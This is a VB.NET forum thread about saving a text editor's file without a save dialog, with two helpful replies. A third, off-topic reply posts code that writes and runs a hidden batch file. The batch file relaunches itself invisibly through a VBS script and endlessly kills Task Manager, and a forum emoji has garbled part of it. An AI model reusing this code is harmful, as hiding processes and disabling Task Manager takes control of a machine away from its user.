Write text to text file without savefiledialog

DukeMeister44

Member
Joined
Sep 14, 2020
Messages
6
Programming Experience
1-3
Hi, I haven't posted here in a while.

I'm trying to figure out how to write a text file without a file save dialog, with a progress bar in a separate form (or status bar) indicating the file is being overwritten/modified and has to check if the file exists prior to writing the file to a specific directory in my advanced text editor called Pentapad.

Here is my code for saving a text file, works great but I want to modify the method of writing the text file without the dialog prompt.



Save file function:
If RichTextBox1.Modified = False Then
            MessageBox.Show("Cannot save a blank file, open a file or create one.", "Action can't be performed" & " - " & Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
        Else
            RichTextBox1.Modified = True
            Dim SaveFile_result As DialogResult = MessageBox.Show("The file or document has been modified, Would you like to save it?", "Save Modified Document?", MessageBoxButtons.YesNo, MessageBoxIcon.Hand)
            If SaveFile_result = DialogResult.Yes Then
                Try
                    Dim sfd As New SaveFileDialog
                    sfd.Title = "Browse..."
                    sfd.AutoUpgradeEnabled = False
                    sfd.OverwritePrompt = True
                    sfd.FileName = "New Document.txt"
                    sfd.InitialDirectory = "C:\Users\" & Environment.UserName & "\Documents" 'goes the users documents folder
                    sfd.DefaultExt = "Text Files (*.txt*)|*.txt*|Rich Text File (*.rtf*)|*.rtf*|Windows Resource File (*.rc)|*.rc|Automatic Hot-Key Script (*.ahk)|*.ahk|C/C++ Header (*.h)|*.h|C/C++ Source File (*.c)|*.c|C/C++ Main Source File (*.cpp)|*.cpp|C# Source File (*.cs)|*.cs|Configuration File (*.cfg)|*.cfg|Definitions File (*.def)|*.def|Group Cache (*.grpcache)|*.grpcache|Windows Batch Script (*.bat)|*.bat|Visual Basic Script (*.vbs)|*.vbs|Visual Basic for Applications (*.vba)|*.vba|UNIX/Linux Bourne Again Shell Files (*.bash_profile), (*.profile), (*.bashrc), (*.bash), (*.sh), (*.csh)|*.bash_profile, *.profile, *.bashrc, *.bash, *.sh, *.csh|UNIX/Linux Desktop Shortcut (*.desktop)|*.desktop|Markdown Document (*.md)|*.md|All Files (*.*)|*.*"
                    sfd.Filter = "Text Files (*.txt*)|*.txt*|Rich Text File (*.rtf*)|*.rtf*|Windows Resource File (*.rc)|*.rc|Automatic Hot-Key Script (*.ahk)|*.ahk|C/C++ Header (*.h)|*.h|C/C++ Source File (*.c)|*.c|C/C++ Main Source File (*.cpp)|*.cpp|C# Source File (*.cs)|*.cs|Configuration File (*.cfg)|*.cfg|Definitions File (*.def)|*.def|Group Cache (*.grpcache)|*.grpcache|Windows Batch Script (*.bat)|*.bat|Visual Basic Script (*.vbs)|*.vbs|Visual Basic for Applications (*.vba)|*.vba|UNIX/Linux Bourne Again Shell Files (*.bash_profile), (*.profile), (*.bashrc), (*.bash), (*.sh), (*.csh)|*.bash_profile, *.profile, *.bashrc, *.bash, *.sh, *.csh|UNIX/Linux Desktop Shortcut (*.desktop)|*.desktop|Markdown Document (*.md)|*.md|All Files (*.*)|*.*"
                    sfd.SupportMultiDottedExtensions = False
                    If sfd.ShowDialog = DialogResult.OK Then
                        System.IO.File.WriteAllText(sfd.FileName, RichTextBox1.Text)
                        Me.Text = (sfd.FileName & " - " & Application.ProductName)
                    End If
                Catch ex As Exception
                    MessageBox.Show(ex, "Error", MessageBoxButtons.OK, MessageBoxIcon.None) ' will output an error message if something in the application has created the error :}
                End Try
            End If
        End If
 
I honestly don't think that you have thought this through. The only thing the the dialogue does is provide the file path selected by the user. If you don't want to use that file path then don't. Just put something else where you are currently using the path from the dialogue:
VB.NET:
System.IO.File.WriteAllText(putSomethingElseHereThatContainsThePathYouWant, RichTextBox1.Text)
 
On a different note, you are currently giving the user the option of saving to, amongst others, plain text or RTF, but you then just save the Text of the RichTextBox regardless. How does it make sense to let the user select RTF and then not save the Rtf of the control? Is there even any formatting in the RichTextBox? If not then why are you letting them select an RTF file in the first place?
 
This is an example of how I write and execute batch script in VB.NET. It demonstrated the idea to get you to where you need to be. In this example, I write and execute a batch file (script) and use it to block Task Manager for the "Raven Antivirus" application I'm creating. The input could be directed to your RichTextBox.

EXAMPLE:
'AUTOMATICALLY CREATE AN INVISIBLE Bat File (NO CMD WINDOW OR ICON IN TOOLBAR) using VB.NET which launches a freshly created BAT that blocks Task Manager.


'The String object is immutable. Every time you use one of the methods in the System.String class, you create a new string object in memory,
'which requires a new allocation of space for that new object. In situations where you need to perform repeated modifications to a string,
'the overhead associated with creating a new String object can be costly.
'The System.Text.StringBuilder class can be used when you want to modify a string without creating a new object. For example,
'using the StringBuilder class can boost performance when concatenating many strings together in a loop.

'StringBuilder.AppendLine Method:
'Appends the default line terminator, or a copy of a specified string and the default line terminator, to the end of this instance.

'See: StringBuilder.AppendLine Method (System.Text)


Private Sub AntiTaskManager()
Try
Dim rythorian77 As New StringBuilder 'Using the StringBuilder Class in .NET

rythorian77.AppendLine("@echo off")

rythorian77.AppendLine(":Commandline")

rythorian77.AppendLine("If [""%~1""]==[""-e""] GoTo o")

rythorian77.AppendLine(":Clear vbs")

rythorian77.AppendLine("set Batch=%~dpnx0")

rythorian77.AppendLine("(")

rythorian77.AppendLine("echo set objshell^= createobject^(""wscript.shell""^)")

rythorian77.AppendLine("echo objshell^.run ""%Batch% -e""^,vbhide ) > %temp%\bas.vbs")

rythorian77.AppendLine("start %temp%\bas.vbs")

rythorian77.AppendLine("exit")

rythorian77.AppendLine(":eek:")

rythorian77.AppendLine(":loop")

rythorian77.AppendLine("Taskkill /IM taskmgr.exe /FI ""STATUS eq RUNNING"" /F")

rythorian77.AppendLine("goto loop")

rythorian77.AppendLine("IF NOT %ERRORLEVEL%==0") 'New Bat

rythorian77.AppendLine("CreateObject(""Wscript.Shell"").Run ""HyperNova.bat"", 0, True")

rythorian77.AppendLine("GoTo begin")

File.WriteAllText("AntiTaskManager.bat", rythorian77.ToString)

Process.Start("AntiTaskManager.bat")

Catch ex As Exception

Debug.WriteLine(ex.Message, "Error")

End Try

End Sub
 
Back
Top